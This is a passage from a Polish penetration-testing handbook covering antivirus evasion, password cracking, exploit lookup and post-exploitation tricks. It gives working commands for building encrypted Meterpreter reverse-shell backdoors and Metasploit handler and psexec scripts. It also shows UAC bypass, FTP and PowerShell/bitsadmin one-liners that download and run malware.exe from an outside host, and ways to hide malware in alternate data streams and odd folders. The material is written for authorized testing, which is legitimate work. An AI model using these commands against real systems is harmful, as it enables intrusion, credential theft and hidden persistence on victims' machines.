Jak wcześniej wspomniałem, chcemy otoczyć wynikowy plik wykonywalny skryptem Pythona, aby uniknąć wykrycia. Skorzystaj z domyślnego instalatora pyinstaller, wybierając opcję numer 1 (rysunek 8.9). Po zakończeniu pracy narzędzie Veil umieści plik wynikowy w folderze /root/veil-output/ compiled/. Nie umieszczaj wyniku w witrynach typu VirusTotal, bo może to spowodować w przyszłości zgłoszenie alertu antywirusowego. Można natomiast sprawdzić plik wynikowy za pomocą lokalnych programów antywirusowych. Ten sposób działania jak na razie jeszcze mnie nie zawiódł, więc, jak sądzę, powinien stanowić część arsenału każdego testera.

165

PODRĘCZNIK PENTESTERA

Rysunek 8.9. Język Python — ukrycie odwróconej powłoki Meterpretera

Narzędzie smbexec (Kali Linux) Smbexec to narzędzie napisane przez brav0hax (https://github.com/brav0hax/smbexec), oferujące wiele różnych funkcji. W książce użyliśmy już tego narzędzia do pobrania skrótów z kontrolera domeny, ale można je wykorzystać również do wydobycia listy udziałów, sprawdzenia loginów, wyłączenia UAC (ang. User Account Control), a nawet utworzenia zaszyfrowanych wersji plików wykonywalnych Meterpretera. Twórca narzędzia używa wielu technik służących do zaciemnienia właściwej treści, włączając w to losowe zmiany i kompilację bezpośrednio z kodu źródłowego w języku C (zajrzyj do kodu źródłowego smbexec.sh, by poznać szczegóły). W przedstawionym przykładzie utworzymy odwróconą powłokę.

Utworzenie zaszyfrowanego pliku Meterpretera dla odwróconej powłoki Wykonaj kolejno następujące czynności:  Wykonaj polecenia: cd /opt/smbexec ./smbexec.sh

 Wybierz polecenie numer 2 (System Access).  Wybierz polecenie numer 2 (Create an executable and rc script).  Wybierz polecenie numer 2 (windows/meterpreter/reverse_https).  Wpisz lokalny adres IP i numer portu: 172.16.139.209, 443.

Po zakończeniu pracy przez narzędzie smbexec w folderze, w którym się obecnie znajdujemy, pojawia się nowy folder. W jego nazwie znajdziemy dane dotyczące daty i czasu

166

ROZDZIAŁ 8. ZMYŁKA ROZGRYWAJĄCEGO — OMIJANIE PROGRAMÓW ANTYWIRUSOWYCH

utworzenia. Folder zawiera plik backdoor.exe, który stanowi zaszyfrowany plik wykonywalny Meterpretera dla odwróconej powłoki. root@kali:/opt/smbexec/2013-12-23-1425-smbexec# ls -alh total 128K drwxr-xr-x 2 root root 4.0K Dec 29 18:28 . drwxr-xr-x 10 root root 4.0K Dec 23 14:44 .. -rwxr-xr-x 1 root root 110K Dec 23 14:28 backdoor.exe -rw-r--r-- 1 root root 283 Dec 23 14:28 metasetup.rc -rw-r--r-- 1 root root 92 Dec 23 14:28 sha1-backdoor.hash

W folderze z plikiem backdoor.exe znajduje się również skrypt metasetup.rc. Skrypty RC są omawiane co prawda w rozdziale 9., ale po otwarciu pliku najprawdopodobniej zobaczysz kod podobny do przedstawionego poniżej: spool /opt/smbexec/2013-12-23-1425-smbexec/msfoutput-1425.txt use exploit/multi/handler set payload windows/meterpreter/reverse_https set LHOST 172.16.139.209 set LPORT 443 set SessionCommunicationTimeout 600 set ExitOnSession false set InitialAutoRunScript migrate -f exploit -j -z

Skrypt automatycznie konfiguruje narzędzie i uruchamia procedurę obsługi dla wygenerowanego właśnie ładunku. Dodaje również polecenia związane z przekroczeniem czasu i automatyczną migracją PID (ang. Process IDentifier). Aby uruchomić skrypt, wykonaj polecenie: msfconsole -r metasetup.rc

PODSUMOWANIE Ten rozdział powinien dać dobre rozeznanie w tym, co należy zrobić, aby ukryć się przed skanerem antywirusowym. Ostatnią rzeczą, na której nam zależy, jest konfrontacja z programem antywirusowym powstrzymującym nas przed włamaniem się do systemu posiadającego lukę. Istnieje wiele różnych metod oszukiwania programów antywirusowych — przedstawiłem tylko kilka z nich, ale nawet one powinny dać możliwość dobrego ukrycia się. Testy penetracyjne polegają na wypróbowywaniu różnych narzędzi, technik, taktyk, by przekonać się, co działa w konkretnym środowisku. Pamiętaj, żeby nie wysyłać plików wykonywalnych do systemów takich jak VirusTotal, ponieważ czas życia tych plików bez alarmowania o zagrożeniu może się znacząco skrócić.

167

PODRĘCZNIK PENTESTERA

168

Rozdział 9.

ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI W tym rozdziale zebrałem wszystkie pozostałe informacje na temat testów penetracyjnych — są to te informacje, których nie udało mi się umieścić we wcześniejszych rozdziałach. Omówię tutaj sztuczki związane z łamaniem haseł, poszukiwaniem luk oraz kilka skrótów przyspieszających prace nad testami.

ŁAMANIE HASEŁ Dostępnych jest wiele różnych narzędzi do łamania haseł, zamierzam jednak skupić się na opisie tylko tych dwóch, z których korzystam. Są to narzędzia: John the Ripper (w skrócie JtR) i oclHashcat. Oba doskonale sprawdzają się w tym, do czego zostały stworzone. Zanim jednak przystąpię do omawiania szczegółów, muszę mieć pewność, że wszyscy rozumieją podstawowe definicje w ten sam sposób. Istnieją trzy konfiguracje, z których korzystamy w trakcie wydajnego procesu łamania haseł: lista słów, reguły i algorytmy skrótów. Lista słów — jest dokładnie tym, co określa jej nazwa. To pliki zawierające listy haseł zapisane jawnym tekstem. Oprogramowanie do łamania haseł zamienia każde hasło na skrót i porównuje ze zdobytym skrótem hasła, aby zamienić skrót na hasło zapisane jawnym tekstem. Bardzo często wykorzystuję listy z hasłami zdobytymi w poprzednich testach w połączeniu z listami haseł specyficznymi dla rodzaju organizacji. Jeśli na przykład łamiemy hasło NTLM (ang. NT LAN Manager) kontrolera domeny, sprawdźmy wcześniej, jak ustawiono reguły definiowania haseł. Nie ma sensu sprawdzać haseł cztero- i pięcioliterowych, jeśli system wymaga hasła o długości co najmniej 8 znaków.

PODRĘCZNIK PENTESTERA

Oto kilka moich ulubionych list haseł:  Lista o nazwie „RockYou”. Lista haseł zdobyta w 2009 roku, pochodząca z gry społecznościowej i witryny reklamowej. To bardzo dobra lista, ponieważ nie jest obszerna, a zawiera wiele typowych haseł o dosyć dużym prawdopodobieństwie sukcesu. Można ją pobrać pod adresem http://downloads.skullsecurity.org/passwords/ rockyou.txt.bz2.  Lista o nazwie „Crackstation-human-only”. Hasła używane przez prawdziwych użytkowników, które wyciekły z wielu witryn internetowych. Lista zawiera około 64 milionów haseł. Można ją pobrać pod adresem http://bit.ly/1cRS62E.  Lista o nazwie „m3g9tr0n_Passwords_WordList_CLEANED”1, zawierająca ponad 122 miliony haseł. Można ją pobrać pod adresem http://bit.ly/KrTcHF. Reguły — wskazują, czy do wstrzykiwanej do programu listy haseł należy wprowadzić modyfikacje. Najlepszym sposobem opisania reguł jest przeanalizowanie prostego przykładu. Możemy wykorzystać reguły KoreLogicRulesAppendYears2, które mają następującą postać: cAz"19[4-9][0-9]" Az"19[4-9][0-9]" cAz"20[01][0-9]" Az"20[01][0-9]"

Reguły spowodują dodanie roku — od wartości 1940 do 2019 — do każdego z haseł. Jeśli na przykład lista zawiera hasło „haker”, reguły spowodują próbę złamania haseł od „haker1940” do „haker2019”. Pamiętaj, że im bardziej zaawansowane reguły, tym więcej czasu zajmie sprawdzenie wszystkich wyrazów z listy. Algorytmy skrótów — algorytm skrótu służy do wygenerowania skrótu hasła. To bardzo ważny element — użycie niewłaściwego algorytmu spowoduje, że test nie zadziała lub nie znajdziemy dopasowania. Jeśli wybierzemy algorytm MD5 (ang. Message Digest Algorithm 5) dla skrótów SHA1 (ang. Secure Hash Algorithm 1), narzędzie nie znajdzie żadnych haseł do złamania i zakończy działanie. Po zapoznaniu się z podstawowymi elementami konfiguracji łamania haseł porównajmy program John the Ripper z programem oclHashcat. 1

http://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords

2

http://contest-2010.korelogic.com/rules.html 170

ROZDZIAŁ 9. ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI

NARZĘDZIE JOHN THE RIPPER (JTR) Regularnie stosowałem narzędzie JtR, ale w pewnym momencie przestałem, ponieważ oclHashcat wprowadził wsparcie dla obliczeń na GPU. Obecnie również JtR obsługuje technologie CUDA (ang. Compute Unified Device Architecture) i OpenCL (ang. Open Computing Language). Pod adresem http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats znajduje się lista formatów skrótów obsługiwanych przez JtR.

Łamanie haseł MD5 Przypuśćmy, że udało Ci się włamać do systemu Unix lub wykonać zrzut bazy danych zawierającej skróty haseł. Istnieje duża szansa, że natkniesz się na skróty MD5 lub SHA. W przedstawionym przykładzie zakładam, że zostały zdobyte skróty MD5 bez dodatkowego ziarna. W tym przypadku złamanie haseł zostanie wykonane przez poniższe polecenie: john -format=raw-md5 -pot=./list.pot md5list.txt

Polecenie informuje narzędzie JtR, aby pobierało skróty do rozpracowania z pliku md5list. txt, traktowało je jako skróty MD5 i zapisywało wszystkie złamane hasła w pliku list.pot. root@kali:~# john --format=raw-md5 --pot=./list.pot md5list.txt Loaded 3 password hashes with no different salts (Raw MD5 [128/128 SSE2]) test (test) password (user) woot (hacker) guesses: 3 time: 0:00:00:01 DONE (Sun Dec 29 18:32:12 2013)

W przypadku pakietu Jumbo narzędzia JtR można skorzystać z mocy procesora graficznego (GPU), używając polecenia: john

—format=raw-md5-opencl --wordlist=./Wordlists/all.lst --rules: Single md5list.txt

Dodatkowe informacje na temat narzędzia JtR są dostępne na stronie http://blog.thireus. com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords.

NARZĘDZIE OCLHASHCAT Szczerze powiedziawszy, oclHashcat to narzędzie, którego obecnie używam najczęściej. Jak wszyscy wiemy, procesory graficzne (GPU) doskonale nadają się do łamania haseł, ponieważ umożliwiają wykonywanie operacji jednocześnie na wielu rdzeniach. Zalety GPU w porównaniu z CPU są tak duże, że można to bardzo łatwo pokazać na przykładzie oclHashcat. Przedstawię przykłady łamania zarówno WPAv2 (ang. Wi-Fi Protected Access), jak i NTLMv2 (ang. NT LAN Manager). To dwa najpopularniejsze rodzaje skrótów, z którymi mam do czynienia, i w zasadzie stanowią podstawę do zdobycia pozostałych skrótów. Aby poznać wszystkie rodzaje skrótów obsługiwane przez narzędzie oclHashcat, odwiedź witrynę http://hashcat.net/oclhashcat/. 171

PODRĘCZNIK PENTESTERA

Łamanie zabezpieczeń WPAv2 W jednym z wcześniejszych rozdziałów omówiłem, w jaki sposób można podsłuchać i przechwycić początkową komunikację z szyfrowaniem WPAv2, niezbędną do złamania hasła sieci bezprzewodowej. Wynikiem przechwyconej komunikacji był plik .hccap. To format pliku obsługiwany przed oclHashcat w celu żmudnego łamania skrótów haseł WPA. W przedstawionym przykładzie wykorzystam oclHashcat na swoim komputerze z systemem Windows i zainstalowaną kartą graficzną GeForce GTX 680. Choć preferuję karty ATI Radeon, w tym przykładzie nie ma to większego znaczenia. Aby rozpocząć łamanie hasła, wykonaj następujące polecenie (rysunek 9.1): cudaHashcat-plus64.exe -m 2500 out.hccap list\rockyou.txt

Rysunek 9.1. Przykład użycia narzędzia oclHashcat

To bardzo prosty przykład, w którym skrót WPAv2, znajdujący się w pliku out.hccap, łamany jest na podstawie listy haseł umieszczonej w pliku rockyou.txt.

Łamanie NTLMv2 W przypadku złamania zabezpieczeń komputera z systemem Windows lub też kontrolera domeny konieczne będzie złamanie haseł NTLM. Zawsze można spróbować złamać hasła LM (ang. LAN Manager), choć coraz trudniej je znaleźć. Z tego powodu skupimy się na NTLM. W poniższym przykładzie przekazujemy listę skrótów NTLM oraz listę słów z hasłami „RockYou” (rysunek 9.2). Lista składała się z trzech skrótów (trzech różnych haseł), ale narzędziu oclHashcat udało się złamać tylko dwa z nich. Zwiększę szanse powodzenia, dodając zbiór reguł PasswordsPro, który wspomoże działanie listy „RockYou” (rysunek 9.3). Dodatkowe informacje na temat reguł i sposobów ich użycia zawiera strona http://hashcat.net/wiki/doku. php?id=rule_based_attack. Niestety nawet dodanie reguł nie pomogło poznać trzeciego hasła. Im większa lista haseł, tym większa szansa na ich odgadnięcie. W tym przypadku udało się odgadnąć jedynie dwa z trzech haseł. 172

ROZDZIAŁ 9. ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI

Rysunek 9.2. Łamanie haseł NTLM w oclHashcat

Rysunek 9.3. Użycie reguł w narzędziu oclHashcat

Aby zwiększyć szanse poznania trzeciego hasła, skorzystam ze znacznie większej listy. Oczywiście im dłuższa lista, tym dłuższy czas działania narzędzia, ale jeśli jest to jedyna możliwość poznania hasła, warto ten dodatkowy czas poświęcić. Oto polecenie, którego użyję tym razem: cudaHashcat-plus64.exe -m 1000 NTLM.txt list\realhuman.txt

-r rules\passwordspro.rule

Jak można zobaczyć na rysunku 9.4, nowa lista haseł wraz z zestawem reguł pozwoliła złamać trzecie hasło. Sprawdzając różne listy haseł i zestawy reguł, można bardzo szybko przekonać się, co działa, a co jedynie zabiera ogromną ilość czasu. Oczywiście czas realizacji zależy od rodzaju GPU, długości listy haseł i złożoności zbioru reguł. Przedstawionych poleceń można używać również do łamania haseł MD5, MSSQL, SHA1 i innych — wystarczy zmienić wartość parametru -m. Pełną listę skrótów obsługiwanych przez narzędzie oclHashcat wraz z przykładami zawiera strona https://hashcat.net/wiki/ doku.php?id=example_hashes.

Sprytne łamanie haseł Najczęściej do łamania haseł używam narzędzia oclHashcat wraz z kartą graficzną 7990 GPU, listą haseł i zestawem reguł. Wynika to z faktu, iż zwykle po prostu szukam „marnych” haseł, aby wykazać słabe punkty zabezpieczeń, lub też potrzebuję kilku haseł, aby 173

PODRĘCZNIK PENTESTERA

Rysunek 9.4. Narzędzie oclHashcat korzystające z innej listy haseł

uzyskać dostęp do OWA (ang. Outlook Web Access). Zdarzają się jednak sytuacje, w których klient prosi o złamanie jak największej liczby haseł. Gorąco polecam obejrzenie dwóch prezentacji. Pierwsza z nich nosi tytuł „Cracking Corporate Passwords — Exploiting Password Policy Weaknesses”, a jej autorami są Minga oraz Rick Redman (http://www.irongeek.com/i.php?page=videos/derbycon3/1301-cracking-corporate-passwords-exploiting-password-policy-weaknesses-minga-rick-redman). Prezentacja bazuje na tym, iż procesory GPU stały się tak szybkie, że złamanie hasła składającego się z ośmiu znaków nie zajmuje wiele czasu. Dodatkowo bazuje na założeniu, że większość haseł stosuje się do wzorca wymuszanego przez reguły zdefiniowane w systemie. Jeśli reguła wymusza zastosowanie jednego znaku specjalnego i jednej cyfry, to hasła zawierają najczęściej dokładnie jeden znak specjalny i jedną cyfrę. Co więcej, najczęściej użytkownicy umieszczają cyfrę lub znak specjalny (głównie znak wykrzyknika) na końcu hasła. Jeśli reguła wymaga wielkiej litery, będzie to zwykle pierwszy znak. Druga prezentacja dotyczy PACK (ang. Password Analysis and Cracking Toolkit), stanowiącego zbiór narzędzi powstałych z myślą o analizie listy haseł i wspomaganiu łamania haseł przez tworzenie inteligentnych reguł generowania. Prezentację zrealizował mój dobry znajomy. Jej treść jest dostępna pod adresem https://thesprawl.org/media/research/ passwords13-smarter-password-cracking-with-pack.pdf, a zapis wideo znajduje się pod adresem http://www.youtube.com/watch?v=8j6fOAH-Sko. Dokładny opis narzędzia oraz opis sposobu łamania haseł w połączeniu z bardziej inteligentnym doborem reguł znajduje się również na jego stronie WWW — pod adresem https://thesprawl.org/projects/pack/.

174

ROZDZIAŁ 9. ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI

POSZUKIWANIE SŁABYCH PUNKTÓW Znaczącą część pracy osoby realizującej testy penetracyjne stanowi znajdowanie luk w aplikacjach i usługach. Wystarczy zastosować skanowanie za pomocą narzędzia Nmap, skanerów luk lub po prostu sprawdzić aplikacje, żeby zidentyfikować ich wersje, a co za tym idzie — podatność na atak. Najczęściej wykorzystuję wyniki z banerów uzyskanych przy użyciu narzędzia Nmap i skanerów luk do określenia numerów wersji i typów aplikacji, a następnie, aby odnaleźć luki, tworzę na tej podstawie zapytania dla narzędzi wskazanych w kolejnych punktach.

SEARCHSPLOIT (KALI LINUX) Searchsploit to proste narzędzie, które po przekazaniu zapytania przeszukuje publicznie dostępne bazy danych luk. Można przekazać część nazwy systemu lub aplikacji. Wyniki zawierają dużą liczbę różnych luk, a w przypadku większości z nich można nawet znaleźć przykładowy kod lub skrypt gotowy do uruchomienia. Jedna uwaga — zawsze sprawdź skrypt lub kod w środowisku testowym, zanim uruchomisz go w systemie produkcyjnym. W systemie Kali Linux wykonaj polecenie searchsploit (rysunek 9.5).

Rysunek 9.5. Uruchamianie narzędzia Searchsploit

Przypuśćmy, że znalazłem witrynę korzystającą z systemu Joomla i chcę się dowiedzieć, czy są dostępne jakieś luki. Aby je znaleźć, wywołuję następujące polecenie (rysunek 9.6): searchsploit joomla

Już po krótkim wyszukaniu dowiadujemy się, że dla systemu Joomla jest w bazie 906 różnych luk. Przyjrzyjmy się jednej z nich, aby zrozumieć, co możemy znaleźć w opisach ogólnodostępnych luk. Ścieżki wyświetlane przez narzędzie nie są prawidłowe. Wszystkie

175

PODRĘCZNIK PENTESTERA

Rysunek 9.6. Wyniki wyszukiwania w narzędziu Searchsploit

pliki Searchsploita znajdują się w folderze /usr/share/exploitdb/, więc aby zobaczyć pełny opis luki lub przykładowy kod, wpisz poniższe polecenie (rysunek 9.7): cat /usr/share/exploitdb/platforms/php/webapps/22153.pl

Rysunek 9.7. Luka 22153 w języku Perl, dotycząca systemu Joomla

Plik 22153.pl to skrypt języka Perl, wykonujący wstrzyknięcie SQL w wersjach systemu Joomla podatnych na ten błąd. Jeśli skrypt zadziała, możliwe będzie uzyskanie hasła administratora.

BUGTRAQ Bugtraq z SecurityFocus to doskonałe źródło luk i skryptów pozwalających z nich skorzystać. Można wyszukiwać luki na podstawie kodów CVE (ang. Common Vulnerabilities and Exposures) lub twórcy i nazwy produktu: http://www.securityfocus.com/bid. Na rysunku 9.8 widać wynik wyszukiwania luk związanych z produktem ColdFusion. Okazuje się, że znaleziono ich dosyć dużo.

EXPLOIT DATABASE Rozrastającą się cały czas witrynę Exploit Database (http://www.exploit-db.com/; rysunek 9.9) traktuję jako następcę milw0rm. Wiele osób przesyła luki i skrypty do witryny, 176

ROZDZIAŁ 9. ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI

Rysunek 9.8. Strona Bugtraq witryny SecurityFocus

Rysunek 9.9. Witryna Exploit Database

a system wyszukiwania ułatwia korzystanie z niej. Polecam poświęcenie czasu wspomnianej witrynie, ponieważ jest doskonałym źródłem informacji. 177

PODRĘCZNIK PENTESTERA

ODPYTYWANIE ZA POMOCĄ NARZĘDZIA METASPLOIT Nie należy zapominać, że narzędzie Metasploit również jest bardzo dobrym źródłem informacji o lukach. Wykonaj następujące czynności:  Na komputerze z systemem Kali Linux w oknie terminalu wpisz msfconsole.  Aby odnaleźć lukę lub moduł, wpisz search [zapytanie]. W przykładzie przedstawionym na rysunku 9.10 szukam informacji o modułach związanych z ColdFusion.

Rysunek 9.10. Przeszukiwanie za pomocą narzędzia Metasploit

WSKAZÓWKI I SZTUCZKI W tym podrozdziale przedstawię kilka specyficznych zagadnień, których nie udało mi się omówić w innych rozdziałach, a które mogą znacząco ułatwić lub przyspieszyć pracę.

SKRYPTY RC W METASPLOIT Ponieważ staram się promować wydajność, niektóre z prezentowanych skryptów zostały napisane jako skrypty zasobów (RC) systemu Metasploit. Skrypty pozwalają przyspieszyć wykonywanie często realizowanych zadań. Przedstawiony poniżej skrypt używa modułu psexec, wykorzystuje smart_migrate do zmigrowania procesu Meterpretera do innego numeru PID i wypełnia wszystkie zmienne niezbędne do przeprowadzenia ataku. Zapisz poniższy skrypt w pliku demo.rc. use exploit/windows/smb/psexec set rhost 192.168.10.10 set smbuser Administrator

178

ROZDZIAŁ 9. ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI

set smbpass ________________skrót_____________ lub hasło set smbdomain ____domena_____ set payload windows/meterpreter/reverse_tcp set AutoRunScript post/windows/manage/smart_migrate setg lport 443 setg lhost 192.168.10.3

Aby uruchomić skrypt, wykonaj polecenie (rysunek 9.11): msfconsole -r /root/demo.rc

Rysunek 9.11. Uruchomienie skryptu RC

Po wczytaniu skryptu wystarczy już tylko wpisać polecenie exploit. Skrypt uruchamia narzędzie Metasploit, uwierzytelnia się na serwerze 192.168.10.10 przy użyciu PsExec, kopiuje oraz uruchamia ładunek Meterpretera i powoduje połączenie atakowanego systemu z systemem źródłowym w celu uzyskania pełnej kontroli. To znacznie szybszy sposób przygotowywania skryptów, a w szczególności — mechanizmów obsługi. Bardzo często do skryptów włamujących się dodaję automatyczną migrację lub własne ładunki.

OMINIĘCIE UAC Zdarzają się sytuacje, w których mamy dostęp do konta administracyjnego oraz sesję Meterpretera, ale nie możemy stać się użytkownikami systemowymi po wywołaniu polecenia getsystem. Najprawdopodobniej blokada wynika z zabezpieczenia UAC (ang. User Account Control). David Kennedy wykonał sporo wspaniałej pracy i dodał Metasploitowi możliwość obejścia UAC3. 3

http://www.trustedsec.com/december-2010/bypass-windows-uac/ 179

PODRĘCZNIK PENTESTERA

W przedstawionym przykładzie zakładam, że istnieje otwarta sesja Meterpretera i jesteśmy lokalnymi administratorami. Najpierw należy wpisać poniższe polecenie: run bypassuac

Spowoduje to uruchomienie drugiej sesji Meterpretera. W przedstawionym przykładzie będzie to sesja numer 2. Pierwszą sesję można umieścić w tle, by nie została utracona. Wykonaj polecenia: background session -i 2

W drugiej sesji wywołanie polecenia getsystem spowoduje przełączenie na użytkownika systemowego (rysunek 9.12).

Rysunek 9.12. Ominięcie zabezpieczenia UAC

OMINIĘCIE FILTROWANIA RUCHU DLA SWOICH DOMEN Co jakiś czas spotykam się z firmą, która aktywnie wykorzystuje serwer proxy do przesyłania całego ruchu internetowego. Cały ruch, który nie został jawnie wskazany jako dozwolony, jest blokowany. Nie mogę więc użyć żadnej z moich odwróconych powłok ani obejść filtru. Nawet jednak w takich podbramkowych sytuacjach są sposoby na to, aby zwiększyć szansę na sukces. Jednym z nich jest zakup domeny o podobnie brzmiącej nazwie i ustawienie dla niej prostego przekierowania CNAME, które będzie wskazywało na oryginalną domenę. Niech to rozwiązanie będzie aktywne przynajmniej przez kilka dni przed przeprowadzeniem testu. Dlaczego? Domena zostanie automatycznie sprawdzona przez kilka systemów i gdy dany system sprawdzi, że CNAME jest ustawiony na właściwą domenę, założy, że to firma zakupiła nową domenę, po czym doda ją do listy domen dopuszczonych do ruchu. Tuż przed rozpoczęciem testu usuń wpis CNAME i przekieruj domenę na swój adres IP. 180

ROZDZIAŁ 9. ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI

WINDOWS XP — STARA SZTUCZKA Z SERWEREM FTP Ta sztuczka jest znana od bardzo dawna. Mamy dostęp do powłoki systemu Windows, ale nie jest to powłoka interaktywna. W jaki sposób wysłać do takiego komputera pliki binarne? Jednym ze sposobów jest zapis poleceń FTP w pliku, a następnie wykonanie tych poleceń za pomocą przełącznika -s. To doskonałe rozwiązanie, gdy mamy dostęp jedynie do powłoki języka PHP. Stosowałem tę technikę, aby przesłać plik wykonywalny Meterpretera i uruchomić go w celu uzyskania pełnego dostępu. cmd cmd cmd cmd cmd cmd cmd

/C /C /C /C /C /C /C

"echo open 192.168.100.100 > ftp.txt" "echo hacker>> ftp.txt" "echo hacker>> ftp.txt" "echo bin>> ftp.txt" "echo get nc.exe>> ftp.txt" "echo bye>> ftp.txt" 4 "ftp -s:ftp.txt"

UKRYWANIE PLIKÓW (WINDOWS) Jeśli trzeba ukryć pliki, to alternatywne strumienie danych (ADS — ang. Alternate Data Streams) są zawsze dobrym rozwiązaniem. ADS to zagadnienie znane od dawna. W Windows 7 dokonano kilku zmian dotyczących ADS-u. Oto krótkie wyjaśnienie: „Alternatywne strumienie danych (ADS) to mniej znana funkcja systemu plików NTFS, która umożliwia umieszczanie danych w istniejących plikach lub katalogach bez zmiany ich funkcjonalności lub rozmiaru”5. Oznacza to, że można ukryć pliki wewnątrz plików i nie zostać łatwo wykrytym z poziomu programu Eksplorator Windows lub z poziomu listy plików. Windows 7 wprowadził do systemu kilka modyfikacji, co utrudniło tworzenie ataków ADS. Trzeba zmodyfikować proces, aby móc umieszczać pliki wewnątrz innych plików. Wykonaj przykład, w którym utworzysz i ukryjesz ADS:  Najpierw utwórz jakiś niepotrzebny plik. W przykładzie umieścimy w pliku tekstowym hi.txt krótki tekst hi. echo "hi" > hi.txt

 Następnie ukryj plik malware.exe wewnątrz utworzonego właśnie pliku tekstowego. type C:\Users\Workshop\Desktop\malware.exe>hi.txt:malware.exe

 Jeśli spróbujesz odczytać plik hi.txt, otrzymasz jedynie jego wcześniejszą zawartość, a nie dodatkowy kod wykonywalny. type hi.txt 4

http://wiki.tekkies.co.uk/General_Technical#FTP_using_xp_cmdshell_-_sql2k

5

http://www.rootkitanalytics.com/userland/Exploring-Alternate-Data-Streams.php 181

PODRĘCZNIK PENTESTERA

 Ponieważ w Windows 7 wprowadzono zmiany, standardowe polecenia ADS nie działają. Musisz utworzyć dowiązanie symboliczne do pliku. Plikowi temu nadaj nazwę malwareSymlink.exe6. mklink malwareSymlink.exe C:\Users\Workshop\Desktop\hi.txt:malware.exe

 Ponieważ dowiązanie symboliczne będzie pojawiało się w trakcie wyświetlania listy katalogu i w programie Eksplorator Windows, musisz włączyć atrybut ukrycia. Spowoduje to ukrycie pliku w większości normalnych sytuacji. attrib +h /L malwareSymlink.exe

 Jeśli teraz wyświetlisz zawartość katalogu, nie zobaczysz pliku malwareSymlink.exe, ale jego wybranie spowoduje uruchomienie złośliwego kodu (rysunek 9.13).

Rysunek 9.13. ADS w systemie Windows 7 lub nowszym

Choć istnieją lepsze sposoby ukrycia trwałych danych w komputerze, to ADS jest nadal jedną z możliwości ukrycia plików w aktywnie przeszukiwanym systemie.

ZAPEWNIENIE UKRYCIA PLIKÓW (WINDOWS) Mark Baggett przedstawił ciekawą sztuczkę umożliwiającą ukrycie lub zablokowanie plików. Sztuczka polega na użyciu konstrukcji \\?\7. Najlepiej zobaczyć przykład, aby przekonać się, jak to działa i dlaczego jest przydatne.

6

http://www.youtube.com/watch?v=U34PpkZ5cQ8 182

ROZDZIAŁ 9. ZESPOŁY SPECJALNE — ŁAMANIE HASEŁ, NIETYPOWE LUKI I INNE SZTUCZKI

 Spróbuj utworzyć folder wewnątrz C:\tmp. Folder będzie miał nazwę "..", której standardowo system Windows nie dopuszcza. mkdir \\?\c:\tmp\".. \"

 Następnie przenieś do tego folderu plik malware.exe. move malware.exe "\\?\c:\tmp\.. "\

 Jeśli przejdziesz do folderu tmp, będziesz mógł zobaczyć folder "..". Próba otwarcia tego folderu z poziomu wiersza poleceń zakończy się niepowodzeniem, ponieważ cd .. oznacza przejście do folderu nadrzędnego.  Plik możesz wyciągnąć z folderu za pomocą poniższego polecenia (rysunek 9.14): copy "\\?c:\tmp\.. \malware.exe" .

Rysunek 9.14. Ukrywanie plików

Próba usunięcia, modyfikacji lub utworzenia pliku z poziomu Eksploratora Windows zostanie zablokowana z powodu nietypowej lokalizacji (rysunek 9.15). To doskonały sposób ukrycia plików, alternatywnych strumieni danych lub utrudnienia analitykowi zrozumienia tego, co się dzieje. 7

http://www.irongeek.com/i.php?page=videos/derbycon3/4206-windows-0wn3d-by-default-mark-baggett 183

PODRĘCZNIK PENTESTERA

Rysunek 9.15. Ukryte pliki oficjalnie niedostępne

PRZESYŁANIE PLIKÓW DO KOMPUTERA W SYSTEMACH WINDOWS 7 I WINDOWS 8 W systemach Windows 7 i Windows 8 dobrym sposobem przesyłania plików do atakowanego komputera jest użycie skryptu PowerShella lub narzędzia BITSAdmin. Narzędzie BITSAdmin działa doskonale, gdyż stosuje ustawienia proxy i używa go system aktualizacji Windows. Jeśli firma korzysta z serwera proxy wymagającego uwierzytelnienia AD, to tym sposobem można go obejść. Pobranie pliku za pomocą skryptu PowerShella jest proste (więcej informacji zawiera rozdział 5.). cmd.exe /c "PowerShell (New-Object System.Net.WebClient).DownloadFile('http:// www.securepla.net/malware.exe','malware.exe');(New-Object -com Shell.Application). ShellExecute('malware.exe')"

Pobranie pliku za pomocą narzędzia BITSAdmin jest równie proste. cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://www.securepla.net/ malware.exe c:\ malware.exe&start malware.exe"

184

Rozdział 10.

ANALIZA PO GRZE — RAPORTOWANIE Raport na zakończenie testu penetracyjnego to najczęściej jedyna rzecz, która interesuje klienta. Niezależnie od wszystkich sztuczek opisanych w książce — raport składany klientowi przez testera jest tym, za co dostaje się pieniądze i w przyszłości ponowne zlecenie. To najważniejszy aspekt testu. Należy wyjaśnić wszystkie znalezione elementy, ocenić znaczenie luk i opisać, jaki wpływ mogą mieć na funkcjonowanie biznesu klienta. Jeśli kiedykolwiek miałeś do czynienia z przeprowadzaniem testów penetracyjnych w swojej sieci, zapewne zauważyłeś, że raport zależy w dużym stopniu od tego, kto wykonywał testy. Raporty jednych firm to tylko raporty ze skanera luk w zmienionym szablonie, a raporty innych firm to szczegółowe opisy wraz z wyjaśnieniem, jak powtórzyć włamanie. Uważam, że raport jest małowartościowy, gdy wskazuje 100 krytycznych luk w serwerze Apache i systemie wykonawczym języka PHP, a przy tym tester nie określa, czy są to rzeczywiście luki istotne z perspektywy używanych wersji oprogramowania. Ponieważ raport to jedynie urzeczywistnienie własnego pomysłu na prezentację zebranych danych, nie będę przedstawiał tutaj swojego szablonu. Podzielę się jedynie wskazówkami i sprawdzonymi rozwiązaniami, będącymi efektem mojej wieloletniej praktyki.

